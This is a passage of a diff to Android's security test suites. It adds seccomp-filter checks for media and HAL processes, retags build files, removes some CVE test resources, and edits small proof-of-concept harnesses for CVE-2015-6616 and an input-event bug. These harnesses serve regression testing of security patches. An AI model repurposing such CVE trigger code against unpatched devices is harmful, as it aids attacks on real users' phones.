+ * limitations under the License.
+ */
+
+package android.seccomp.cts;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that collects test results from test package android.seccomp.cts.app.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.seccomp.cts.app.SeccompDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SeccompHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+
+    private static final String TEST_PKG = "android.seccomp.cts.app";
+    private static final String TEST_CLASS = TEST_PKG + "." + "SeccompDeviceTest";
+    private static final String TEST_APP = "CtsSeccompDeviceApp.apk";
+
+    private static final String TEST_CTS_SYSCALL_BLOCKED = "testCTSSyscallBlocked";
+    private static final String TEST_CTS_SWAP_ON_OFF_BLOCKED = "testCTSSwapOnOffBlocked";
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TEST_APP);
+    }
+
+    @Test
+    public void testCTSSyscallBlocked() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SYSCALL_BLOCKED));
+    }
+
+    @Test
+    public void testCTSSwapOnOffBlocked() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_CTS_SWAP_ON_OFF_BLOCKED));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG);
+    }
+
+}
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index ba8a01f..0b72318 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
new file mode 100644
index 0000000..b5a456c
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+public class ProcessMustUseSeccompTest extends DeviceTestCase {
+   /**
+    * a reference to the device under test.
+    */
+    private ITestDevice mDevice;
+
+    private static final String PS_CMD = "toybox ps -A -o name,pid";
+    private static final String LSHAL_CMD = "lshal list -ip";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevice = null;
+        super.tearDown();
+    }
+
+    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+        return PropertyUtil.getFirstApiLevel(mDevice) > 25;
+    }
+
+    /*
+     * Get the PID of process "Name" using "Cmd". If prefix == True only do
+     * prefix matching. This is used for HALs which are versioned
+     * e.g. android.hardware.configstore@1.1-service. If prefix == False then
+     * name must be an exact match.
+     */
+    private String getPidFromCmd(String Name, String Cmd, boolean prefix) throws DeviceNotAvailableException {
+        String ret = "";
+        CollectingOutputReceiver Out = new CollectingOutputReceiver();
+        mDevice.executeShellCommand(Cmd, Out);
+        String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+
+        for (String line: lines) {
+            String[] namePid = line.trim().split("\\s+");
+            if (!prefix && !namePid[0].equals(Name)) {
+                continue;
+            }
+            if (prefix && !namePid[0].startsWith(Name)) {
+                continue;
+            }
+            ret = namePid[1];
+            break;
+        }
+
+        if (!java.util.regex.Pattern.matches("\\d+", ret)) {
+            ret = "";
+        }
+
+        return ret;
+    }
+
+    /*
+     * Return true if the "Seccomp" field of /proc/<pid>/status is "2" which
+     * indicates that seccomp is running in filter mode
+     */
+    private boolean pidHasSeccompBpf(String Pid) throws DeviceNotAvailableException {
+        CollectingOutputReceiver Out = new CollectingOutputReceiver();
+        mDevice.executeShellCommand("toybox cat /proc/" + Pid + "/status", Out);
+        String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+        for (String line: lines) {
+            String[] split = line.trim().split("\\s+");
+            if (!split[0].equals("Seccomp:")) {
+                continue;
+            }
+            if (split[1].equals("2")) {
+                return true;
+            }
+            break;
+        }
+        return false;
+    }
+
+    private void assertSeccompFilter(String Name, String Cmd, boolean prefix)
+                throws DeviceNotAvailableException {
+        String Pid = getPidFromCmd(Name, Cmd, prefix);
+        assertFalse(Name + " process not found.", Pid.equals(""));
+        assertTrue(Name + " must have a seccomp filter enabled.\n"
+                   + "The \"Seccomp\" field of " + Name + "'s "
+                   + "/proc/" + Pid + "/status file should be set to \"2\"",
+                   pidHasSeccompBpf(Pid));
+    }
+
+    public void testConfigStoreHalHasSeccompFilter() throws DeviceNotAvailableException {
+        if (CpuFeatures.isArm64(mDevice)) {
+            assertSeccompFilter("android.hardware.configstore", PS_CMD, true);
+        }
+    }
+
+    public void testMediaextractorHasSeccompFilter() throws DeviceNotAvailableException {
+        assertSeccompFilter("media.extractor", PS_CMD, false);
+    }
+
+    public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
+        assertSeccompFilter("media.codec", PS_CMD, false);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 54f1a92..fb09788 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -267,7 +267,7 @@
      */
     public static boolean isFullTrebleDevice(ITestDevice device)
             throws DeviceNotAvailableException {
-        return PropertyUtil.getFirstApiLevel(device) > 25;
+        return PropertyUtil.getFirstApiLevel(device) > 26;
     }
 
     private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index e5cfadc..fc814a5 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityBulletinHostTestCases
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 18536d1..4ce62f1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -29,7 +29,7 @@
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
-        <option name="runtime-hint" value="13m58s" />
+        <option name="runtime-hint" value="15m54s" />
     </test>
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0718.m2v b/hostsidetests/securitybulletin/res/cve_2017_0718.m2v
new file mode 100644
index 0000000..6d3285b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0718.m2v
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13203.h264 b/hostsidetests/securitybulletin/res/cve_2017_13203.h264
deleted file mode 100644
index 2dbf4ff..0000000
--- a/hostsidetests/securitybulletin/res/cve_2017_13203.h264
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9351.cfg b/hostsidetests/securitybulletin/res/cve_2018_9351.cfg
deleted file mode 100644
index e0b9ea4..0000000
--- a/hostsidetests/securitybulletin/res/cve_2018_9351.cfg
+++ /dev/null
@@ -1,46 +0,0 @@
---input /data/local/tmp/cve_2018_9351.yuv
---output /data/local/tmp/cve_2018_9351.264
---recon /data/local/tmp/cve_2018_9351_recon.yuv
---chksum chksum.md5
---chksum_enable 0
---recon_enable 0
---input_chroma_format YUV_420P
---recon_chroma_format YUV_420P
---qp_i 24
---qp_p 27
---qp_b 29
---qp_i_min 4
---qp_i_max 49
---qp_p_min 4
---qp_p_max 49
---qp_b_min 4
---qp_b_max 49
---max_wd 1920
---max_ht 1080
---psnr 0
---slice 0
---slice_param 0
---num_frames -1
---search_range_x 16
---search_range_y 16
---width 351
---height 256
---src_framerate 30
---tgt_framerate 30
---num_cores 4
---rc 2
---bitrate 256000
---vbv_delay 1000
---disable_deblock_level 0
---intra_4x4_enable 1
---i_interval 1000
---me_speed 100
---hpel 1
---fast_sad 0
---speed NORMAL
---max_level 41
---idr_interval 1000
---entropy 0
---bframes 0
---adaptive_intra_refresh 0
---air_refresh_period 30
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9351.yuv b/hostsidetests/securitybulletin/res/cve_2018_9351.yuv
deleted file mode 100644
index b44a386..0000000
--- a/hostsidetests/securitybulletin/res/cve_2018_9351.yuv
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 7e84631..ebee562 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -55,6 +55,8 @@
             outMsg->body.key.deviceId = msg.body.key.deviceId;
             // int32_t source
             outMsg->body.key.source = msg.body.key.source;
+            // int32_t displayId
+            outMsg->body.key.displayId = msg.body.key.displayId;
             // int32_t action
             outMsg->body.key.action = msg.body.key.action;
             // int32_t flags
@@ -80,6 +82,8 @@
             outMsg->body.motion.deviceId = msg.body.motion.deviceId;
             // int32_t source
             outMsg->body.motion.source = msg.body.motion.source;
+            // int32_t displayId
+            outMsg->body.motion.displayId = msg.body.motion.displayId;
             // int32_t action
             outMsg->body.motion.action = msg.body.motion.action;
             // int32_t actionButton
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.mk
index a7fba7e..272f3cf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2020 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
index a6aca76..13f4f8c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -33,19 +33,16 @@
     }
 
     sp < DataSource > dataSource = new FileSource(argv[1]);
-    if (dataSource == nullptr) {
+    if (dataSource == nullptr)
         return EXIT_FAILURE;
-    }
 
     MPEG4Extractor *ret = new MPEG4Extractor(dataSource.get());
-    if (ret == nullptr) {
+    if (ret == nullptr)
         return EXIT_FAILURE;
-    }
 
     sp < IMediaSource > source = ret->getTrack(0);
-    if (source == nullptr) {
+    if (source == nullptr)
         return EXIT_FAILURE;
-    }
 
     source->start(NULL);
     return EXIT_SUCCESS;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
index 4db8837..5fae570 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
index c1d7cce..c6a406a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
index 7668ed3..74a634a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
index a4ac2cb..8feabb7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
index 38667a1..a53613a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
index 37f8244..50b93aa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
index e9fcbfa..f63bfad 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
index 2a4e408..1289fe3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
index 721c434..fa9104f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
index 7c95d23..2b115a8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
index dba5713..888539e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
index 64c0273..5e4e7ce 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
index 72ec70b..141b86d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
index 9104c9e..0eb3c0d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
@@ -22,14 +22,9 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
